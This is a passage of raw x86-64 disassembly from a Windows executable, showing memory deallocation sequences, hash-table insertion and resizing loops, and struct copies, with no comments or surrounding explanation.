je 0x14000d5ba
mov rcx, qword [rbp + 0x4b0]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x690], rax
jne 0x14000d5fd
mov rdx, qword [rbp + 0x4c0]
lea rax, [rdx*2]
test rax, rax
movabs rax, 0x8000000000000000
je 0x14000d5fd
mov rcx, qword [rbp + 0x4c8]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x630], rax
jne 0x14000d640
mov rdx, qword [rbp + 0x4d8]
lea rax, [rdx*2]
test rax, rax
movabs rax, 0x8000000000000000
je 0x14000d640
mov rcx, qword [rbp + 0x4e0]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x638], rax
jne 0x14000d683
mov rdx, qword [rbp + 0x4f0]
lea rax, [rdx*2]
test rax, rax
movabs rax, 0x8000000000000000
je 0x14000d683
mov rcx, qword [rbp + 0x4f8]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x640], rax
jne 0x14000d6c6
mov rdx, qword [rbp + 0x508]
lea rax, [rdx*2]
test rax, rax
movabs rax, 0x8000000000000000
je 0x14000d6c6
mov rcx, qword [rbp + 0x510]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x648], rax
jne 0x14000d709
mov rdx, qword [rbp + 0x520]
lea rax, [rdx*2]
test rax, rax
movabs rax, 0x8000000000000000
je 0x14000d709
mov rcx, qword [rbp + 0x528]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x650], rax
jne 0x14000d74c
mov rdx, qword [rbp + 0x538]
lea rax, [rdx*2]
test rax, rax
movabs rax, 0x8000000000000000
je 0x14000d74c
mov rcx, qword [rbp + 0x540]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x688], rax
jne 0x14000d78f
mov rdx, qword [rbp + 0x550]
lea rax, [rdx*2]
test rax, rax
movabs rax, 0x8000000000000000
je 0x14000d78f
mov rcx, qword [rbp + 0x558]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp r12, rax
jne 0x14000d7ba
mov rdx, qword [rbp + 0x568]
lea rax, [rdx*2]
test rax, rax
je 0x14000d7ba
mov rcx, qword [rbp + 0x570]
mov r8d, 1
call fcn.140022d50
xor esi, esi
jmp 0x14000c00b
lea rdx, [0x140219b88]
mov rdi, rdx
mov qword [rbp + 0x310], rdx
movzx eax, byte [0x140331341]
mov ecx, 8
mov edx, 8
call fcn.140022d40
test rax, rax
je 0x14000db44
mov rsi, rax
mov qword [rax], rdi
lea rdi, fcn.140007a90
mov rcx, qword [rbp + 0x678]
mov eax, dword [rbp + 0x698]
mov byte [rbp + 0x72f], al
mov eax, dword [rbp + 0x6a8]
mov byte [rbp + 0x72e], al
mov eax, dword [rbp + 0x6c0]
mov byte [rbp + 0x72d], al
mov eax, dword [rbp + 0x6b0]
mov byte [rbp + 0x72c], al
mov eax, dword [rbp + 0x6c8]
mov byte [rbp + 0x72b], al
mov eax, dword [rbp + 0x6b8]
mov byte [rbp + 0x72a], al
mov eax, dword [rbp + 0x708]
mov byte [rbp + 0x729], al
mov eax, dword [rbp + 0x6e8]
mov byte [rbp + 0x728], al
mov eax, dword [rbp + 0x710]
mov byte [rbp + 0x727], al
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x6d0]
test rdx, rdx
je 0x14000d895
mov rcx, qword [rbp + 0x6d8]
mov r8d, 1
call fcn.140022d50
mov rdx, qword [rbp + 0x680]
test rdx, rdx
je 0x14000d8b3
mov r8d, 1
mov rcx, qword [rbp + 0x6a0]
call fcn.140022d50
mov rdx, qword [rbp + 0x660]
test rdx, rdx
je 0x14000d8d1
mov rcx, qword [rbp + 0x668]
mov r8d, 1
call fcn.140022d50
mov rdx, qword [rbp + 0x490]
test rdx, rdx
je 0x14000d8ef
mov rcx, qword [rbp + 0x498]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp r13, rax
jne 0x14000d92b
mov rdx, qword [rbp + 0x4a8]
cmp rdx, rax
je 0x14000d92b
test rdx, rdx
je 0x14000d92b
mov rcx, qword [rbp + 0x4b0]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x690], rax
jne 0x14000d961
mov rdx, qword [rbp + 0x4c0]
cmp rdx, rax
je 0x14000d961
test rdx, rdx
je 0x14000d961
mov rcx, qword [rbp + 0x4c8]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x630], rax
jne 0x14000d997
mov rdx, qword [rbp + 0x4d8]
cmp rdx, rax
je 0x14000d997
test rdx, rdx
je 0x14000d997
mov rcx, qword [rbp + 0x4e0]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x638], rax
jne 0x14000d9cd
mov rdx, qword [rbp + 0x4f0]
cmp rdx, rax
je 0x14000d9cd
test rdx, rdx
je 0x14000d9cd
mov rcx, qword [rbp + 0x4f8]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x640], rax
jne 0x14000da03
mov rdx, qword [rbp + 0x508]
cmp rdx, rax
je 0x14000da03
test rdx, rdx
je 0x14000da03
mov rcx, qword [rbp + 0x510]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x648], rax
jne 0x14000da39
mov rdx, qword [rbp + 0x520]
cmp rdx, rax
je 0x14000da39
test rdx, rdx
je 0x14000da39
mov rcx, qword [rbp + 0x528]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x650], rax
jne 0x14000da6f
mov rdx, qword [rbp + 0x538]
cmp rdx, rax
je 0x14000da6f
test rdx, rdx
je 0x14000da6f
mov rcx, qword [rbp + 0x540]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x688], rax
jne 0x14000daa5
mov rdx, qword [rbp + 0x550]
cmp rdx, rax
je 0x14000daa5
test rdx, rdx
je 0x14000daa5
mov rcx, qword [rbp + 0x558]
mov r8d, 1
call fcn.140022d50
movabs rax, 0x8000000000000000
cmp r12, rax
jne 0x14000c00b
mov rdx, qword [rbp + 0x568]
cmp rdx, rax
je 0x14000c00b
test rdx, rdx
je 0x14000c00b
mov rcx, qword [rbp + 0x570]
mov r8d, 1
call fcn.140022d50
jmp 0x14000c00b
lea r8, [0x140219bf0]
mov rcx, rdx
mov rdx, rbx
call fcn.140216710
jmp 0x14000db64
mov ecx, 8
mov edx, 8
call fcn.140215fa0
jmp 0x14000db64
mov ecx, 8
mov edx, 8
call fcn.140215fa0
jmp 0x14000db64
mov qword [rbp + 0x710], rdi
mov qword [rbp + 0x6a0], rsi
mov ecx, 1
mov edx, 4
call fcn.140215f80
jmp 0x14000db64
mov ecx, 8
mov edx, 8
call fcn.140215fa0
jmp 0x14000db64
mov ecx, 8
mov edx, 8
call fcn.140215fa0
jmp 0x14000db64
mov ecx, 8
mov edx, 8
call fcn.140215fa0
ud2
add byte [rdi], cl
test dword [rcx], edx
add dword [rax], eax
add dh, al
add dword [rax], eax
jns 0x14000eea6
test esp, edi
add byte [rax], al
add dh, al
add dword [rcx], eax
mov ebx, eax
pop rdx
invalid
or al, byte [rcx - 0x48]
outsb dx, byte [rsi]
je 0x14000f000
jns 0x14000efd4
xor eax, dword [rdx + 3]
int3
add byte [rax], al
movaps xmmword [rbp + 0x210], xmm6
mov qword [rbp + 0x208], 0xfffffffffffffffe
mov r12, rcx
mov rax, qword [rdx + 0x18]
mov rsi, qword [rdx + 0x20]
mov rdi, qword [rdx + 0x28]
imul rbx, rdi, 0x68
add rbx, rsi
mov rcx, qword [rdx + 0x40]
mov qword [rbp + 0x88], rcx
movups xmm0, xmmword [rdx + 0x30]
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rbx
mov rax, qword [rdx + 0x50]
test rax, rax
je 0x14000f080
mov rcx, qword [rdx + 0x48]
shl rax, 2
mov r8d, 2
mov rdx, rax
call fcn.140022d50
test rdi, rdi
je 0x14000f0be
lea rcx, [rsi + 0x68]
mov qword [rbp + 0x98], rcx
mov rdx, qword [rsi]
mov r8, qword [rsi + 8]
movups xmm0, xmmword [rsi + 0x30]
movaps xmmword [rbp + 0x100], xmm0
movups xmm0, xmmword [rsi + 0x20]
movaps xmmword [rbp + 0xf0], xmm0
movups xmm0, xmmword [rsi + 0x10]
movaps xmmword [rbp + 0xe0], xmm0
cmp rdx, 2
jne 0x14000f0e9
lea rcx, [rbp + 0x68]
call fcn.1400109c0
movaps xmm6, xmmword [rbp + 0x210]
movaps xmm7, xmmword [rbp + 0x220]
add rsp, 0x2b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x18], rbx
movups xmm0, xmmword [rsi + 0x40]
movups xmm1, xmmword [rsi + 0x50]
movups xmmword [rbp + 0x188], xmm1
movups xmmword [rbp + 0x178], xmm0
movups xmm0, xmmword [rbp + 0xe8]
movups xmm1, xmmword [rbp + 0xf8]
movups xmmword [rbp + 0x198], xmm0
movups xmmword [rbp + 0x1a8], xmm1
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1b8], rax
mov qword [rbp + 0x68], rdx
mov qword [rbp + 0x70], r8
movups xmm0, xmmword [rsi + 0x40]
movups xmm1, xmmword [rsi + 0x50]
movaps xmmword [rbp], xmm1
movaps xmmword [rbp - 0x10], xmm0
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x150], rax
movups xmm0, xmmword [rbp + 0x198]
movups xmm1, xmmword [rbp + 0x1a8]
movaps xmmword [rbp + 0x140], xmm1
movaps xmmword [rbp + 0x130], xmm0
lea rax, [r12 + 0x18]
mov qword [rbp + 0x160], rax
lea rax, [r12 + 0x30]
mov qword [rbp + 0x50], rax
movss xmm6, dword [0x140218510]
xor r14d, r14d
movaps xmm7, xmmword [0x140218500]
mov qword [rbp + 0x1f8], r12
mov qword [rbp + 0x1e0], rdx
movaps xmm0, xmmword [rbp - 0x10]
movaps xmm1, xmmword [rbp]
movaps xmmword [rbp + 0x180], xmm1
movaps xmmword [rbp + 0x170], xmm0
mov rax, qword [r12 + 0x28]
cmp dword [r12], 1
mov rdx, qword [r12 + 0x50]
mov qword [rbp + 0x1d8], r8
mov qword [rbp + 0x10], rcx
jne 0x14000f230
test rax, rax
js 0x14000f907
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
test rdx, rdx
jns 0x14000f928
mov rax, rdx
shr rax, 1
mov ecx, edx
and ecx, 1
or rcx, rax
xorps xmm1, xmm1
cvtsi2ss xmm1, rcx
addss xmm1, xmm1
divss xmm0, xmm1
ucomiss xmm0, xmm6
jb 0x14000f93d
mov qword [r12], 0
add rdx, rdx
mov rcx, r12
call fcn.140010f60
jmp 0x14000f25a
mov rcx, rdx
shr rcx, 2
mov r8, rdx
sub r8, rcx
cmp rax, r8
jne 0x14000f262
test rax, rax
je 0x14000fabb
add rdx, rdx
mov rcx, qword [rbp + 0x1f8]
call fcn.140010f60
test al, al
jne 0x140010240
mov r12, qword [rbp + 0x1f8]
mov rcx, r12
lea rdx, [rbp + 0x170]
call fcn.140010c90
mov r15d, eax
movzx eax, word [r12 + 0x58]
and ax, r15w
movzx esi, ax
xor ebx, ebx
jmp 0x14000f2a6
movzx eax, byte [rcx + 8]
cmp al, byte [rbp + 0x178]
je 0x14000f38e
nop dword [rax]
inc rbx
inc rsi
cmp rsi, qword [r12 + 0x50]
jb 0x14000f2c7
mov rax, qword [r12 + 0x50]
nop word cs:[rax + rax]
test rax, rax
je 0x14000f2c0
xor esi, esi
mov rax, qword [r12 + 0x48]
movzx edi, word [rax + rsi*4]
cmp rdi, 0xffff
je 0x14000f700
movzx eax, word [rax + rsi*4 + 2]
movzx ecx, word [r12 + 0x58]
mov edx, eax
and edx, ecx
mov r8d, esi
sub r8d, edx
and r8d, ecx
cmp r8, rbx
jb 0x14000f700
cmp ax, r15w
jne 0x14000f2a0
mov rdx, qword [r12 + 0x28]
cmp rdx, rdi
jbe 0x1400100a7
mov rax, qword [r12 + 0x20]
imul r13, rdi, 0x68
mov rdx, qword [rax + r13 + 0x40]
test rdx, rdx
setne cl
cmp qword [rbp + 0x170], 0
sete r8b
cmp cl, r8b
je 0x14000f2a0
lea rcx, [rax + r13]
add rcx, 0x40
test rdx, rdx
je 0x14000f28c
lea rdx, [rbp + 0x170]
call fcn.1401cbc00
test al, al
je 0x14000f2a0
mov rax, qword [rbp + 0x170]
test rax, rax
je 0x14000f38e
mov rax, qword [rax + 0x20]
mov rdx, qword [rbp + 0x178]
mov r8, qword [rbp + 0x180]
mov byte [rbp + 0x207], 1
lea rcx, [rbp + 0x188]
call rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0xd0], rax
movaps xmm0, xmmword [rbp + 0x130]
movaps xmm1, xmmword [rbp + 0x140]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmmword [rbp + 0xb0], xmm0
mov rax, r12
mov r12, qword [r12 + 0x28]
cmp r12, rdi
jbe 0x140010319
mov rbx, qword [rax + 0x20]
lea rcx, [rbx + r13]
cmp qword [rbx + r13], 0
je 0x14000fc35
mov qword [rbp + 0x1e8], rcx
mov r13, qword [rcx + 8]
mov rax, qword [rbp + 0x1f8]
mov r15, qword [rax + 0x40]
cmp r15, r13
jbe 0x1400100bb
mov rsi, qword [rax + 0x38]
nop
lea rdx, [r13*8]
add rdx, r13
mov rcx, qword [rsi + rdx*8 + 8]
mov r8, qword [rsi + rdx*8 + 0x10]
mov rax, qword [rsi + rdx*8 + 0x18]
cmp qword [rsi + rdx*8], 0
je 0x14000f460
test r8, r8
je 0x14000f4a0
cmp rcx, r15
jae 0x140010172
lea r8, [rcx + rcx*8]
mov qword [rsi + r8*8 + 0x10], 1
mov qword [rsi + r8*8 + 0x18], rax
cmp rax, r15
jae 0x140010186
lea rax, [rax + rax*8]
mov qword [rsi + rax*8], 1
jmp 0x14000f499
test r8, r8
je 0x14000f4dc
cmp rcx, r12
jae 0x140010204
imul r8, rcx, 0x68
cmp qword [rbx + r8], 0
je 0x14001022f
add r8, rbx
mov qword [r8 + 8], rax
cmp rax, r15
jae 0x140010218
lea rax, [rax + rax*8]
mov qword [rsi + rax*8], 0
mov qword [rsi + rax*8 + 8], rcx
jmp 0x14000f500
cmp rax, r12
jae 0x1400101c8
imul r8, rax, 0x68
cmp qword [rbx + r8], 0
je 0x1400101f3
add r8, rbx
mov qword [r8 + 0x10], rcx
cmp rcx, r15
jae 0x1400101df
lea rcx, [rcx + rcx*8]
mov qword [rsi + rcx*8 + 0x10], 0
mov qword [rsi + rcx*8 + 0x18], rax
jmp 0x14000f500
cmp rcx, r12
jae 0x1400102e6
imul rax, rcx, 0x68
mov qword [rbx + rax], 0
nop word cs:[rax + rax]
lea rdx, [rsi + rdx*8]
mov rax, qword [rdx + 0x40]
mov qword [rbp + 0x1b0], rax
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movaps xmmword [rbp + 0x1a0], xmm3
movaps xmmword [rbp + 0x190], xmm2
movaps xmmword [rbp + 0x180], xmm1
movaps xmmword [rbp + 0x170], xmm0
dec r15
lea rax, [r15 + r15*8]
mov rcx, qword [rsi + rax*8 + 0x40]
movups xmm0, xmmword [rsi + rax*8]
movups xmm1, xmmword [rsi + rax*8 + 0x10]
movups xmm2, xmmword [rsi + rax*8 + 0x20]
movups xmm3, xmmword [rsi + rax*8 + 0x30]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x30], xmm3
mov qword [rdx + 0x40], rcx
mov rax, qword [rbp + 0x1f8]
mov qword [rax + 0x40], r15
cmp qword [rbp + 0x170], 0
je 0x14000f59c
cmp qword [rbp + 0x178], r15
jne 0x14000f59c
mov qword [rbp + 0x170], 1
mov qword [rbp + 0x178], r13
cmp qword [rbp + 0x180], 0
je 0x14000f5c1
cmp qword [rbp + 0x188], r15
jne 0x14000f5c1
mov qword [rbp + 0x180], 1
mov qword [rbp + 0x188], r13
cmp r15, r13
je 0x14000f670
jbe 0x1400100d2
mov rax, qword [rdx + 8]
mov r8, qword [rdx + 0x10]
mov rcx, qword [rdx + 0x18]
cmp qword [rdx], 0
je 0x14000f627
cmp rax, r15
jae 0x14001019d
lea rax, [rax + rax*8]
mov qword [rsi + rax*8 + 0x10], 1
lea rax, [rsi + rax*8]
add rax, 0x18
mov qword [rax], r13
test r8, r8
je 0x14000f64e
cmp rcx, r15
jae 0x1400101b4
lea rax, [rcx + rcx*8]
mov qword [rsi + rax*8], 1
lea rax, [rsi + rax*8]
add rax, 8
jmp 0x14000f66d
cmp rax, r12
jae 0x1400102a5
imul rax, rax, 0x68
cmp qword [rbx + rax], 0
je 0x1400102d8
add rax, rbx
add rax, 8
mov qword [rax], r13
test r8, r8
jne 0x14000f608
cmp rcx, r12
jae 0x1400102b9
imul rax, rcx, 0x68
cmp qword [rbx + rax], 0
je 0x1400102ca
add rax, rbx
add rax, 0x10
mov qword [rax], r13
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x120], rax
movaps xmm0, xmmword [rbp + 0x170]
movaps xmm1, xmmword [rbp + 0x180]
movaps xmm2, xmmword [rbp + 0x190]
movaps xmm3, xmmword [rbp + 0x1a0]
movaps xmmword [rbp + 0x110], xmm3
movaps xmmword [rbp + 0x100], xmm2
movaps xmmword [rbp + 0xf0], xmm1
movaps xmmword [rbp + 0xe0], xmm0
cmp qword [rbp + 0xf0], 0
je 0x14000fc0f
mov r13, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x100]
mov rdx, qword [rbp + 0x108]
mov r8, qword [rbp + 0x110]
lea rcx, [rbp + 0x118]
call qword [rax + 0x20]
cmp r15, r13
ja 0x14000f400
jmp 0x1400100bb
cmp rbx, 0x200
setae bl
cmp qword [r12], 2
setne dil
mov r9, qword [rbp + 0x170]
mov r8, qword [rbp + 0x178]
lea rcx, [rbp + 0x188]
movups xmm0, xmmword [rcx - 8]
movaps xmmword [rbp - 0x50], xmm0
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x100], rax
movaps xmm1, xmmword [rbp + 0x130]
movaps xmm2, xmmword [rbp + 0x140]
movaps xmmword [rbp + 0xf0], xmm2
movaps xmmword [rbp + 0xe0], xmm1
mov qword [rbp + 0xb0], r9
mov qword [rbp + 0xb8], r8
lea rax, [rbp + 0xc0]
movups xmmword [rax], xmm0
mov rdx, qword [r12 + 0x28]
cmp rdx, 0x7fff
mov qword [rbp + 0x1e8], rdx
mov qword [rbp + 0x168], r8
mov qword [rbp + 0x1f0], r9
ja 0x1400100e9
mov qword [rbp + 0x1b0], r9
mov qword [rbp + 0x1b8], r8
movaps xmm0, xmmword [rbp - 0x50]
movups xmmword [rcx + 0x38], xmm0
mov rax, qword [rbp + 0x150]
mov qword [rcx + 0x20], rax
movaps xmm0, xmmword [rbp + 0x130]
movaps xmm1, xmmword [rbp + 0x140]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov word [rbp + 0x1d0], r15w
mov qword [rbp + 0x170], 0
mov rax, qword [rbp + 0x160]
cmp rdx, qword [rax]
jne 0x14000f7fa
mov rcx, qword [rbp + 0x160]
call fcn.140015ea0
and bl, dil
mov rax, qword [r12 + 0x20]
mov rdi, qword [rbp + 0x1e8]
imul rcx, rdi, 0x68
movups xmm0, xmmword [rbp + 0x170]
movups xmm1, xmmword [rbp + 0x180]
movups xmm2, xmmword [rbp + 0x190]
movups xmm3, xmmword [rbp + 0x1a0]
movups xmm4, xmmword [rbp + 0x1b0]
movups xmm5, xmmword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1d0]
mov qword [rax + rcx + 0x60], rdx
movups xmmword [rax + rcx + 0x50], xmm5
movups xmmword [rax + rcx + 0x40], xmm4
movups xmmword [rax + rcx + 0x30], xmm3
movups xmmword [rax + rcx + 0x20], xmm2
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
lea rax, [rdi + 1]
mov qword [r12 + 0x28], rax
mov rax, qword [r12 + 0x48]
mov rdx, qword [r12 + 0x50]
xor ecx, ecx
mov r8d, edi
cmp rsi, rdx
cmovae rsi, r14
jb 0x14000f899
nop word cs:[rax + rax]
test rdx, rdx
je 0x140010000
movzx r9d, word [rax + rsi*4]
cmp r9w, 0xffff
je 0x14000f8d0
inc rcx
movzx r10d, word [rax + rsi*4 + 2]
mov word [rax + rsi*4], r8w
mov word [rax + rsi*4 + 2], r15w
inc rsi
mov r15d, r10d
mov r8d, r9d
cmp rsi, rdx
cmovae rsi, r14
jae 0x14000f890
jmp 0x14000f899
mov word [rax + rsi*4], r8w
mov word [rax + rsi*4 + 2], r15w
cmp rcx, 0x80
setb al
not bl
test bl, al
jne 0x14000fca0
cmp qword [r12], 0
jne 0x14000fca0
mov qword [r12], 1
jmp 0x14000fca0
mov rcx, rax
shr rcx, 1
and eax, 1
or rax, rcx
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
addss xmm0, xmm0
test rdx, rdx
js 0x14000f1f0
xorps xmm1, xmm1
cvtsi2ss xmm1, rdx
divss xmm0, xmm1
ucomiss xmm0, xmm6
jae 0x14000f217
mov rcx, r12
call fcn.1401c4590
mov rax, qword [r12 + 0x50]
test rax, rax
je 0x14000f9af
mov rdx, qword [r12 + 0x48]
lea r8, [rax - 1]
movabs rcx, 0x3fffffffffffffff
and r8, rcx
mov rcx, rdx
cmp r8, 7
jb 0x14000f999
inc r8
mov r9, r8
and r9, 0xfffffffffffffff8
lea rcx, [rdx + r9*4]
xor r10d, r10d
nop
movups xmmword [rdx + r10*4], xmm7
movups xmmword [rdx + r10*4 + 0x10], xmm7
add r10, 8
cmp r9, r10
jne 0x14000f980
cmp r8, r9
je 0x14000f9af
lea rax, [rdx + rax*4]
nop dword [rax]
mov dword [rcx], 0xffff
add rcx, 4
cmp rcx, rax
jne 0x14000f9a0
mov rax, qword [r12 + 0x28]
test rax, rax
je 0x14000f262
mov rcx, qword [rbp + 0x1f8]
mov rbx, qword [rcx + 0x20]
imul rax, rax, 0x68
add rax, rbx
mov qword [rbp + 0x1f0], rax
movzx eax, word [rcx + 0x58]
movzx r15d, ax
mov r12, qword [rcx + 0x48]
mov r13, qword [rcx + 0x50]
xor esi, esi
mov rdi, rbx
add rbx, 0x68
lea rax, [rsi + 1]
mov qword [rbp + 0x1e8], rax
lea rdx, [rdi + 0x40]
mov rcx, qword [rbp + 0x1f8]
call fcn.140010c90
mov ecx, eax
and ecx, r15d
mov word [rdi + 0x60], ax
xor edx, edx
cmp rcx, r13
cmovae rcx, r14
jb 0x14000fa29
nop
test r13, r13
je 0x140010010
cmp word [r12 + rcx*4], 0xffff
je 0x14000fa97
movzx r8d, word [r12 + rcx*4 + 2]
and r8d, r15d
mov r9d, ecx
sub r9d, r8d
mov r8d, r15d
and r8d, r9d
cmp r8, rdx
jb 0x14000fa84
inc rdx
inc rcx
cmp rcx, r13
cmovae rcx, r14
jae 0x14000fa20
jmp 0x14000fa29
movzx edx, word [r12 + rcx*4]
cmp dx, 0xffff
je 0x14000fa97
movzx r8d, word [r12 + rcx*4 + 2]
mov word [r12 + rcx*4], si
mov word [r12 + rcx*4 + 2], ax
inc rcx
mov eax, r8d
mov esi, edx
cmp rcx, r13
cmovae rcx, r14
jb 0x14000fa60
test r13, r13
jne 0x14000fa60
jmp 0x140010020
mov word [r12 + rcx*4], si
mov word [r12 + rcx*4 + 2], ax
cmp rbx, qword [rbp + 0x1f0]
mov rsi, qword [rbp + 0x1e8]
jne 0x14000f9e8
jmp 0x14000f262
mov rsi, qword [rbp + 0x1f8]
mov word [rsi + 0x58], 7
movzx eax, byte [0x140331341]
mov ecx, 0x20
mov edx, 2
call fcn.140022d40
test rax, rax
je 0x1400102f7
mov r15, rax
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm7
mov rdx, qword [rsi + 0x50]
test rdx, rdx
je 0x14000fb0d
mov rcx, qword [rsi + 0x48]
shl rdx, 2
mov r8d, 2
call fcn.140022d50
mov qword [rsi + 0x48], r15
mov qword [rsi + 0x50], 8
movzx eax, byte [0x140331341]
mov ecx, 0x270
mov edx, 8
call fcn.140022d40
mov qword [rbp + 0x60], rax
test rax, rax
je 0x140010308
mov rax, qword [rsi + 0x20]
mov qword [rbp + 0x58], rax
mov rax, qword [rsi + 0x28]
mov qword [rbp + 0x168], rax
xor eax, eax
mov qword [rbp + 0x1f0], rax
jmp 0x14000fb7a
mov rcx, qword [rbp + 0x1e8]
mov rax, qword [rcx + 0x18]
mov rdx, qword [rcx + 0x20]
mov r8, qword [rcx + 0x28]
add rcx, 0x30
call qword [rax + 0x20]
mov rdx, qword [rbp + 0x1f0]
cmp rdx, qword [rbp + 0x168]
je 0x14000fbc9
imul rax, rdx, 0x68
mov rcx, qword [rbp + 0x58]
lea r8, [rcx + rax]
mov qword [rbp + 0x1e8], r8
inc rdx
mov qword [rbp + 0x1f0], rdx
mov rax, qword [rcx + rax + 0x40]
test rax, rax
je 0x14000fb60
mov r8, qword [rbp + 0x1e8]
lea rcx, [r8 + 0x58]
mov rdx, qword [r8 + 0x48]
mov r8, qword [r8 + 0x50]
call qword [rax + 0x20]
jmp 0x14000fb60
mov rax, qword [rbp + 0x160]
mov rax, qword [rax]
test rax, rax
mov rsi, qword [rbp + 0x1f8]
je 0x14000fbf2
mov rcx, qword [rsi + 0x20]
imul rdx, rax, 0x68
mov r8d, 8
call fcn.140022d50
mov qword [rsi + 0x18], 6
mov rax, qword [rbp + 0x60]
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], 0
jmp 0x14000f262
mov rax, qword [rbp + 0x100]
mov rdx, qword [rbp + 0x108]
mov r8, qword [rbp + 0x110]
lea rcx, [rbp + 0x118]
call qword [rax + 0x20]
mov rcx, qword [rbp + 0x1e8]
mov rax, qword [rcx + 0x38]
mov qword [rbp - 0x20], rax
movups xmm0, xmmword [rcx + 0x18]
movups xmm1, xmmword [rcx + 0x28]
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
mov rax, qword [rbp + 0xd0]
movaps xmm0, xmmword [rbp + 0xb0]
movaps xmm1, xmmword [rbp + 0xc0]
movups xmmword [rcx + 0x18], xmm0
movups xmmword [rcx + 0x28], xmm1
mov qword [rcx + 0x38], rax
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
mov rax, qword [rax + 0x20]
mov r8, qword [rbp - 0x30]
mov byte [rbp + 0x207], 0
lea rcx, [rbp - 0x28]
call rax
mov r12, qword [rbp + 0x1f8]
nop word cs:[rax + rax]
mov rcx, qword [rbp + 0x1d8]
mov rax, qword [rbp + 0x1e0]
test rax, rax
je 0x14000ff5a
mov r15, qword [rbp + 0x88]
cmp rcx, r15
jae 0x140010022
mov rsi, qword [rbp + 0x80]
mov qword [rbp + 0x1e8], rdi
nop word cs:[rax + rax]
lea rcx, [rcx + rcx*8]
lea rax, [rsi + rcx*8]
mov rbx, qword [rsi + rcx*8 + 0x10]
test rbx, rbx
je 0x14000fd10
mov rcx, qword [rax + 0x18]
mov qword [rbp + 0x1d8], rcx
mov ecx, 1
jmp 0x14000fd12
xor ecx, ecx
mov qword [rbp + 0x1e0], rcx
mov rcx, qword [rax + 0x40]
mov qword [rbp + 0x100], rcx
movups xmm0, xmmword [rax + 0x20]
movups xmm1, xmmword [rax + 0x30]
movaps xmmword [rbp + 0xf0], xmm1
movaps xmmword [rbp + 0xe0], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmm1, xmmword [rax + 0x30]
mov rax, qword [rax + 0x40]
mov qword [rbp + 0x40], rax
movaps xmmword [rbp + 0x30], xmm1
movaps xmmword [rbp + 0x20], xmm0
mov rax, qword [r12 + 0x28]
mov qword [rbp + 0x1f0], rax
cmp rax, rdi
jbe 0x14001004c
mov rax, qword [r12 + 0x20]
imul rcx, rdi, 0x68
lea r13, [rax + rcx]
cmp qword [rax + rcx], 0
mov r8, rdi
je 0x14000fe60
mov rcx, r12
mov r12, qword [r13 + 0x10]
mov rdi, qword [rcx + 0x40]
mov rax, qword [rbp + 0x40]
lea rdx, [rbp + 0x188]
mov qword [rdx + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movaps xmm1, xmmword [rbp + 0x30]
movups xmmword [rdx + 0x18], xmm1
movups xmmword [rdx + 8], xmm0
mov qword [rbp + 0x170], 1
mov qword [rbp + 0x178], r12
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x188], r8
cmp rdi, qword [rcx + 0x30]
jne 0x14000fddf
mov rcx, qword [rbp + 0x50]
call fcn.140015d20
mov r8, qword [rbp + 0x1f8]
mov rax, qword [r8 + 0x38]
lea rcx, [rdi + rdi*8]
movups xmm0, xmmword [rbp + 0x170]
movups xmm1, xmmword [rbp + 0x180]
movups xmm2, xmmword [rbp + 0x190]
movups xmm3, xmmword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x1b0]
mov qword [rax + rcx*8 + 0x40], rdx
movups xmmword [rax + rcx*8 + 0x30], xmm3
movups xmmword [rax + rcx*8 + 0x20], xmm2
